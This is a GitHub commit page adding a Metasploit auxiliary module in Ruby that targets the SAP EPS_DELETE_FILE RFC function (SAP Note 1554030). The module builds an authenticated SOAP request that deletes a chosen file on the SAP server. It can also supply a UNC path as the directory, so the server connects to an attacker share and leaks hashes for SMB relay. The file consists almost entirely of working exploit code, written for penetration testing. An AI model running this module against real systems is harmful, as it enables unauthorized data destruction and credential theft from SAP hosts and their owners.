Skip to content

Commit f92f59b

Browse files
committed
EPS_DELETE_FILE (File deletion and SMB Relay)
1 parent dfcce01 commit f92f59b

File tree

1 file changed

+95
-0
lines changed

1 file changed

+95
-0
lines changed
Lines changed: 95 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,95 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'EPS_DELETE_FILE (File deletion + SMB Relay)',
35+
'Description' => %q{
36+
A vulnerability in the SAP EPS_DELETE_FILE RFC function allows an attacker to delete files remotely
37+
and/or steal hashes using an SMB relay attack.
38+
SAP Note 1554030 / DSECRG-11-031.
39+
},
40+
'References' => [['URL','http://dsecrg.com/pages/vul/show.php?id=331']],
41+
'Author' => ['nmonkee'],
42+
'License' => MSF_LICENSE
43+
)
44+
45+
register_options([
46+
OptString.new('CLIENT', [true, 'SAP client', nil]),
47+
OptString.new('USER', [true, 'Username', nil]),
48+
OptString.new('PASS', [true, 'Password', nil]),
49+
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil]),
50+
OptString.new('FILENAME',[true,'Filename (e.g. filename.ext )',nil])
51+
], self.class)
52+
end
53+
54+
def run_host(ip)
55+
data = '<?xml version="1.0" encoding="utf-8" ?>'
56+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
57+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
58+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
59+
data << '<SOAP-ENV:Header/>'
60+
data << '<SOAP-ENV:Body>'
61+
data << '<EPS_DELETE_FILE xmlns="urn:sap-com:document:sap:rfc:functions">'
62+
data << '<DIR_NAME>' + datastore['PATH'] + '</DIR_NAME>'
63+
data << '<FILE_NAME>' + datastore['FILENAME'] + '</FILE_NAME>'
64+
data << '<IV_LONG_DIR_NAME></IV_LONG_DIR_NAME>'
65+
data << '<IV_LONG_FILE_NAME></IV_LONG_FILE_NAME>'
66+
data << '</EPS_DELETE_FILE>'
67+
data << '</SOAP-ENV:Body>'
68+
data << '</SOAP-ENV:Envelope>'
69+
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
70+
begin
71+
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}\\#{datastore['FILENAME']}")
72+
res = send_request_raw({
73+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
74+
'method' => 'POST',
75+
'data' => data,
76+
'headers' =>{
77+
'Content-Length' => data.size.to_s,
78+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
79+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
80+
'Authorization' => 'Basic ' + user_pass,
81+
'Content-Type' => 'text/xml; charset=UTF-8',}
82+
}, 45)
83+
if res
84+
if datastore['VERBOSE'] == true
85+
print_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
86+
print_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
87+
print_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
88+
end
89+
end
90+
rescue ::Rex::ConnectionError
91+
print_error("#{rhost}:#{rport} - Unable to connect")
92+
return
93+
end
94+
end
95+
end

0 commit comments

Comments
 (0)